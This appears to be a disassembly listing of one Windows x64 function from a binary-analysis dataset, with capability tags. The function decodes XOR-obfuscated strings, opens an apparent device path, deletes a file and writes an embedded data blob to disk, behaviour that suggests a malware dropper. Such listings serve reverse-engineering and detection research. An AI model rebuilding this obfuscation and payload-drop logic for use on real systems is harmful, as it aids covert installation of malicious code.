Function at 0x140052d00
Capabilities:
Authenticate hmac
Delete file
Encode data using base64
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x1400ad028]
xor rax, rsp
mov qword [rbp + 0xf0], rax
movups xmm0, xmmword [0x14009a0d0]
movups xmmword [rsp + 0x40], xmm0
mov ebx, 0x5c
pextrw eax, xmm0, 7
test ax, ax
je 0x140052d82
mov word [rsp + 0x40], bx
xor word [rsp + 0x42], 0x33
xor word [rsp + 0x44], 0x34
xor word [rsp + 0x46], 0x35
xor word [rsp + 0x48], 0x36
xor word [rsp + 0x4a], 0x37
xor word [rsp + 0x4c], 0x38
xor word [rsp + 0x4e], 0x39
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140052dc9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r15 - 1]
jmp 0x1400533d7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400aefc0], xmm0
movups xmmword [0x1400aefd0], xmm0
movups xmmword [0x1400aefe0], xmm0
movups xmmword [0x1400aeff0], xmm0
movups xmmword [0x1400af000], xmm0
movups xmmword [0x1400af010], xmm0
mov dword [0x1400af020], eax
movups xmm0, xmmword [str.SQWQSQ_QSQWQSQ_1317131_131_r]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14009a290]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14009a2a0]
movups xmmword [rsp + 0x70], xmm0
mov ecx, dword [0x14009a2b0]
mov dword [rbp - 0x80], ecx
movzx edx, byte [0x14009a2b4]
mov byte [rsp + 0x50], 0x61
xor byte [rsp + 0x51], 0x33
xor byte [rsp + 0x52], 0x34
xor byte [rsp + 0x53], 0x35
xor byte [rsp + 0x54], 0x36
xor byte [rsp + 0x55], 0x37
xor byte [rsp + 0x56], 0x38
xor byte [rsp + 0x57], 0x39
xor byte [rsp + 0x58], 0x3a
xor byte [rsp + 0x59], 0x3b
xor byte [rsp + 0x5a], 0x3c
xor byte [rsp + 0x5b], 0x3d
xor byte [rsp + 0x5c], 0x3e
xor byte [rsp + 0x5d], 0x3f
xor byte [rsp + 0x5e], 0x40
xor byte [rsp + 0x5f], 0x41
movd eax, xmm1
xor al, 0x42
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], 0x43
xor byte [rsp + 0x62], 0x44
xor byte [rsp + 0x63], 0x45
xor byte [rsp + 0x64], 0x46
xor byte [rsp + 0x65], 0x47
xor byte [rsp + 0x66], 0x48
xor byte [rsp + 0x67], 0x49
xor byte [rsp + 0x68], 0x4a
xor byte [rsp + 0x69], 0x4b
xor byte [rsp + 0x6a], 0x4c
xor byte [rsp + 0x6b], 0x4d
xor byte [rsp + 0x6c], 0x4e
xor byte [rsp + 0x6d], 0x4f
xor byte [rsp + 0x6e], 0x50
xor byte [rsp + 0x6f], 0x51
movd eax, xmm0
xor al, 0x52
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x53
xor byte [rsp + 0x72], 0x54
xor byte [rsp + 0x73], 0x55
xor byte [rsp + 0x74], 0x56
xor byte [rsp + 0x75], 0x57
xor byte [rsp + 0x76], 0x58
xor byte [rsp + 0x77], 0x59
xor byte [rsp + 0x78], 0x5a
xor byte [rsp + 0x79], 0x5b
xor byte [rsp + 0x7a], bl
xor byte [rsp + 0x7b], 0x5d
xor byte [rsp + 0x7c], 0x5e
xor byte [rsp + 0x7d], 0x5f
xor byte [rsp + 0x7e], 0x60
xor byte [rsp + 0x7f], 0x61
xor cl, 0x62
mov byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], 0x32
xor byte [rbp - 0x7e], 0x33
xor byte [rbp - 0x7d], 0x34
xor dl, 0x35
mov byte [rbp - 0x7c], dl
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r15
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140052f60
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x48]
call fcn.14005a950
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rsi, r8d
mov r14, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x48]
test r8d, r8d
jle 0x14005300b
mov rbx, r15
movabs r12, 0x842108421084211
lea r13, [0x1400aefc0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r12
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1f
sub rcx, rax
lea rax, [rbp - 0x48]
cmp r14, 0x10
cmovae rax, rdi
movzx eax, byte [rax + rcx]
mov byte [rbx + r13], al
inc rbx
cmp rbx, rsi
jl 0x140052fc4
mov ebx, 0x5c
lea rcx, [rbp - 0x68]
call fcn.1400529d0
nop
cmp qword [rbp - 0x58], 0
je 0x14005333f
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x20]
call fcn.140057e20
nop
mov r8d, 0x8708
lea rdx, [0x140087fe0]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp - 0x18]
test al, al
je 0x1400530fe
call fcn.140058340
test rax, rax
jne 0x1400530b3
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.140057db0
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14005333f
call fcn.140058340
test rax, rax
jne 0x140053125
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.140057db0
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x68]
call fcn.14005d2b0
test al, al
jne 0x140053191
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x14005333f
movups xmm0, xmmword [0x14009a0d0]
movups xmmword [rbp - 0x78], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x1400531cd
mov word [rbp - 0x78], bx
xor word [rbp - 0x76], 0x33
xor word [rbp - 0x74], 0x34
xor word [rbp - 0x72], 0x35
xor word [rbp - 0x70], 0x36
xor word [rbp - 0x6e], 0x37
xor word [rbp - 0x6c], 0x38
xor word [rbp - 0x6a], 0x39
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140053337
movsd xmm0, qword [str.G_F_EVU]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009a1d0]
mov dword [rsp + 0x48], eax
movzx ecx, byte [0x14009a1d4]
mov byte [rsp + 0x40], WSASetLastError
xor byte [rsp + 0x41], 0x33
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
xor byte [rsp + 0x44], 0x36
xor byte [rsp + 0x45], 0x37
xor byte [rsp + 0x46], 0x38
xor byte [rsp + 0x47], 0x39
xor al, 0x3a
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], 0x3b
xor byte [rsp + 0x4a], 0x3c
xor byte [rsp + 0x4b], 0x3d
xor cl, 0x3e
mov byte [rsp + 0x4c], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140053290
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14005a950
nop
lea rcx, [rsp + 0x50]
call fcn.14005e590
mov qword [0x1400af028], rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140053302
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400532f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400532f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e620
mov rax, qword [0x1400af028]
mov rcx, rbx
test rax, rax
je 0x14005333a
call fcn.140055fd0
mov rcx, rbx
test al, al
je 0x14005333a
call fcn.140056a80
mov rcx, rbx
test al, al
je 0x14005333a
call fcn.1400551d0
mov rcx, rbx
test al, al
je 0x14005333a
call fcn.140053410
test al, al
jne 0x140053346
mov rcx, rbx
call fcn.140053c60
mov rbx, 0xffffffffffffffff
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x140053389
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053384
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140053384
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e620
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r15w
cmp r14, 0x10
jb 0x1400533d4
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400533cc
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400533cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14007e620
mov rax, rbx
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.14007e1c0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret